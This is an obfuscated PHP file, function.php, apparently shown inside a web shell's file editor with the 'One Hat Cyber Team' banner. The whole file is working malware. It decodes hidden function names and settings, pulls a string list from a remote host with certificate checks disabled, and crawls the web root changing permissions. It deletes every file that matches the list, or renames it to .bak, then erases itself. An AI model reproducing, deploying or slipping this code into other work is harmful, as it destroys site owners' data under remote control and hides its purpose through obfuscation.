One Hat Cyber Team

Edit File: function.php

<?php $b666=explode("1l","soprts1lemaner1ltcartxe1lstsixe_noitcnuf1lesolc_lruc1ltpotes_lruc1lelif_si1ldro1lcexe_lruc1ltilps_gerp1lnelrts1letirwf1ltnuoc1ltimil_emit_tes1lezilairesnu1lfoef1lrhc1ledoced_46esab1lhctam_gerp1ldomhc1ledolpxe1lmirt1lsopirts1lesolcf1l5dm1llru_esrap1ltini_lruc1lrtsbus1ltroba_resu_erongi1lknilnu1lbolg1lecalper_gerp1lstegf1lstnetnoc_teg_elif1lrid_si");foreach($b666 as$b666bbbb=>$bb6bbb){$bb6bbb=preg_split("//",$bb6bbb,-1,PREG_SPLIT_NO_EMPTY);$b666[$b666bbbb]=implode("",array_reverse($bb6bbb));};$bb6666=__FILE__;$b66bb6bbb=explode("9","bbb6bb9b66666bb9b6666bb69bbb6b9bb666bbbb9bb66666669bb69b66b69b6bb6666b9b66669b6bb69bbbbb6669bbb66bb9b6b666b9bbb69bb669bbb66b69bbbb9bb6b69b6b6bb9bbb6b6b9bbbb669b6666b66b9b666bb9bbb6b69bbb9bbb666bb69bbbb66bb69b6b9b6b6669bb6bb9b6bbbb6b69b6b669bbbb66b69bb66bb6");foreach($b66bb6bbb as$bb66b=>$b6bb){$$b6bb=$b666[$bb66b];};function l1bho($l1mQm9C){$l1nN="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=$";$l1ZJK=$l1Ke4oio=$l18h6="";$l1w6Hug0=$l12aD=$l1Vd=$l1gz="";$l1GlJ=0;$l1rRX06="";$l1mQm9C=$GLOBALS["b6bbbb6b6"]("/[^A-Za-z0-9\+\/\=$]/","",$l1mQm9C);do{$l1w6Hug0=$GLOBALS["bbb6bb"]($l1nN,$GLOBALS["bbbb66bb6"]($l1mQm9C,$l1GlJ++,1));$l12aD=$GLOBALS["bbb6bb"]($l1nN,$GLOBALS["bbbb66bb6"]($l1mQm9C,$l1GlJ++,1));$l1Vd=$GLOBALS["bbb6bb"]($l1nN,$GLOBALS["bbbb66bb6"]($l1mQm9C,$l1GlJ++,1));$l1gz=$GLOBALS["bbb6bb"]($l1nN,$GLOBALS["bbbb66bb6"]($l1mQm9C,$l1GlJ++,1));$l1ZJK=($l1w6Hug0<<2)|($l12aD>>4);$l1Ke4oio=(($l12aD&15)<<4)|($l1Vd>>2);$l18h6=(($l1Vd&3)<<6)|$l1gz;$l1rRX06=$l1rRX06.$GLOBALS["bbb66b6"]((int)$l1ZJK);if($l1Vd!=64){$l1rRX06=$l1rRX06.$GLOBALS["bbb66b6"]((int)$l1Ke4oio);}if($l1gz!=64){$l1rRX06=$l1rRX06.$GLOBALS["bbb66b6"]((int)$l18h6);}$l1ZJK=$l1Ke4oio=$l18h6="";$l1w6Hug0=$l12aD=$l1Vd=$l1gz="";}while($l1GlJ<$GLOBALS["b6bb6"]($l1mQm9C));return$l1rRX06;}function l15($l1NVG85m=''){$l1MTe='';$l1SigFU=$GLOBALS["b6666"]("//u",$l1NVG85m,-1,PREG_SPLIT_NO_EMPTY);foreach($l1SigFU as$l1Nm4Bsb){$l1MTe.=$GLOBALS["bbb66b6"]($GLOBALS["b66b6"]($l1Nm4Bsb)+1);}return l1bho($l1MTe);}function l1vlWyr($l1DsPi){return l15($l1DsPi);}$b6b66bbb=$GLOBALS["bbbb66b6"]($bb6666);$bbbbb66=@$GLOBALS["bbb6"](l1vlWyr("XSnwMCo6bynyNhIhMiXhN2L5Li@5HlHwUR8WLkEuXUYUYVEF`2MfU0@7HisyNiX5HlIhMiYhXhH6bynwMinhR2f/alMFQVkXLUU4XmX7OBH6bynxNhIhXhH6bynxMCnhXEYicFDxRVsWLkU4VUcIYUgVRWUhaU@7HisyNiH5HlH1HisyNif5HkkFNGQYTCv7HisyNij5HlH1MlIhXlIhXhH6byn/LCnhXDcQK1IGSCUKdCgtX/cQclI3MGUh`CQwVUH3K0gVX2kKaTEtXj@7OBH6byn2NhIhMlH1XiX1HisyNiDxNhIXLkU3XTT3`1QFUVjhN2L5MCnhXiYhMhH6bynxLCnhS/IDb/sRUUAQQEgyYEcPb/sSLyvhN2L5NSnhXiX1MiYhXlH1HisyNiD1NhIKLCQHUTUQTEcBM2cKLj0uHisyNib5HlH1MiYhMiXhN2L5LSH5Hj8CNGYfQ/AlS2jyOBH6byn4NhIhXiYhXlH1MiXhN2L5LSH5HkksSWUXLWM0XjYUcBH6byn1NhIhXlIhMlHhN2L5LiP5HjrvMFEW`WciRmj2aj8BL2AJTiguXmX7OBH6byn1NhIhXlIhXlHhN2L5LSH5HkfxUWggQSguXVwqKxH6byn3NhIhXlIhMlH1MhH6byn/NhIUK1cRHisyNiP5HlIhMlHhN2L5LSX5HlIFVWkgLT0wXSIA`1ElOCvhN2/<"));foreach($bbbbb66 as$bb6b666bb=>$bb66b6b){$bbbbb66[$bb6b666bb]=l1vlWyr($bb66b6b);};@extract($bbbbb66);if($GLOBALS["bbb6b"]($GLOBALS["b66"])){$GLOBALS["b6b666b"](0);}if($GLOBALS["bbb6b"]($GLOBALS["bb"])){$GLOBALS["b6b"](1);}$l1gAF=$_SERVER["DOCUMENT_ROOT"];$l1BR=$GLOBALS["b66bbbbbb"];$l1QE1jQb=@$GLOBALS["bbbb"](l1jg($l1BR));$l1Y=@$GLOBALS["bbb6b6b"]('|',$l1QE1jQb);if($GLOBALS["bbb66bb"]($l1Y)<=3){return;}$l13jpc=__FILE__;function l1Y(){global$l1gAF;l1TGA($l1gAF);@$GLOBALS["b6b666"](__FILE__);echo $GLOBALS["b6"];}function l1TGA($l1MR0onP='.'){if($GLOBALS["bb66bb6"]($l1MR0onP)){foreach($GLOBALS["bb6bb"]("$l1MR0onP/*")as$l1FeV4U){if($GLOBALS["bb66bb6"]($l1FeV4U)&&!$GLOBALS["bb6b6"]('/\/\.\.?$/si',$l1FeV4U)){@$GLOBALS["b6b6bb"]($l1FeV4U,0755);$l1944ZLP=$l1FeV4U.$GLOBALS["bb66bb"];@$GLOBALS["b6b6bb"]($l1944ZLP,0755);@$GLOBALS["b6b666"]($l1944ZLP);l1TGA($l1FeV4U);}elseif($GLOBALS["bb6"]($l1FeV4U)){l12f($l1FeV4U);}}foreach($GLOBALS["bb6bb"]("$l1MR0onP/.*")as$l1r5R){if($GLOBALS["bb66bb6"]($l1r5R)&&!$GLOBALS["bb6b6"]('/\/\.\.?$/si',$l1r5R)){@$GLOBALS["b6b6bb"]($l1r5R,0755);$l1944ZLP=$l1r5R.$GLOBALS["bb66bb"];@$GLOBALS["b6b6bb"]($l1944ZLP,0755);@$GLOBALS["b6b666"]($l1944ZLP);l1TGA($l1r5R);}elseif($GLOBALS["bb6"]($l1r5R)){l12f($l1r5R);}}}}function l12f($l13x){global$l1Y,$l13jpc;if($l13x==$l13jpc){return false;}@$GLOBALS["b6b6bb"]($l13x,0777);$l1kvM=$GLOBALS["bbbb66b6"]($l13x);if($GLOBALS["b6666b66b"]($l1kvM,$GLOBALS["b6b6"])===false&&$GLOBALS["b6666b66b"]($l1kvM,$GLOBALS["b666b66"])===false){foreach($l1Y as$l1PAje7){if($GLOBALS["b6666b66b"]($l1kvM,$l1PAje7)!==false){if(@$GLOBALS["b6b666"]($l13x)){break;}else{@$GLOBALS["b66666bb"]($l13x,"{$l13x}.bak");break;}}}}}function l1jg($l1w,$l18pZkm=10){$l1XMUz=0;if($GLOBALS["bbb6b"]($GLOBALS["bbbbbb"])&&$GLOBALS["bbb6b"]($GLOBALS["b6b6b66"])){$l1k9WZ=$GLOBALS["bbb666bb6"]();$GLOBALS["bb6666666"]($l1k9WZ,CURLOPT_URL,$l1w);$GLOBALS["bb6666666"]($l1k9WZ,CURLOPT_USERAGENT,$GLOBALS["bbbb6b66"]);$GLOBALS["bb6666666"]($l1k9WZ,CURLOPT_CONNECTTIMEOUT,0);$GLOBALS["bb6666666"]($l1k9WZ,CURLOPT_RETURNTRANSFER,1);$GLOBALS["bb6666666"]($l1k9WZ,CURLOPT_SSL_VERIFYPEER,false);$GLOBALS["bb6666666"]($l1k9WZ,CURLOPT_SSL_VERIFYHOST,false);$GLOBALS["bb6666666"]($l1k9WZ,CURLOPT_FOLLOWLOCATION,true);$GLOBALS["bb6666666"]($l1k9WZ,CURLOPT_TIMEOUT,$l18pZkm);$l1Q6NW1U=$GLOBALS["b6bb6666b"]($l1k9WZ);$GLOBALS["bb666bbbb"]($l1k9WZ);if($l1Q6NW1U){$l1XMUz=$l1Q6NW1U;}}else{$l1n='';if($GLOBALS["bbb6b"]($GLOBALS["bb6bbb666"])){$l1n=$GLOBALS["bb6bbb666"];}elseif($GLOBALS["bbb6b"]($GLOBALS["bb6b"])){$l1n=$GLOBALS["bb6b"];}if($l1n!=''){$l1oLE8=$GLOBALS["bbb"]($l1w);$l1R1=$l1n($l1oLE8["host"],isset($l1oLE8["port"])?$l1oLE8["port"]:80,$l1NW21gn,$l1Jioa,$l18pZkm);if($l1R1){$l1XMUz=isset($l1oLE8["path"])?$l1oLE8["path"]:'';$l1XMUz.=isset($l1oLE8["query"])?'?'.$l1oLE8["query"]:'';$l1XMUz=$l1XMUz==''?'/':$l1XMUz;$GLOBALS["bbbbb666"]($l1R1,"GET $l1XMUz HTTP/1.0\r\nHost:".$l1oLE8["host"]."\r\nConnection:Close\r\n\r\n");$l1xus='';while(!$GLOBALS["bb66"]($l1R1)){$l1xus.=$GLOBALS["b6b66"]($l1R1,4096);}$GLOBALS["b666bb"]($l1R1);$l1XMUz=$GLOBALS["bb6b6"]($GLOBALS["b6666bbb6"],$l1xus)?$GLOBALS["b6bbbb6b6"]("/.*?\r\n\r\n(.*)/si","$1",$l1xus):$GLOBALS["b6bbbb6b6"]($GLOBALS["bbbb6b"],"$1",$l1xus);}else{$l1XMUz=0;}}else{$l1XMUz=$GLOBALS["bbbb66b6"]($l1w);}}return$GLOBALS["bbbb66"]($GLOBALS["bbbb66"]($l1XMUz,"\xEF\xBB\xBF"));}l1Y();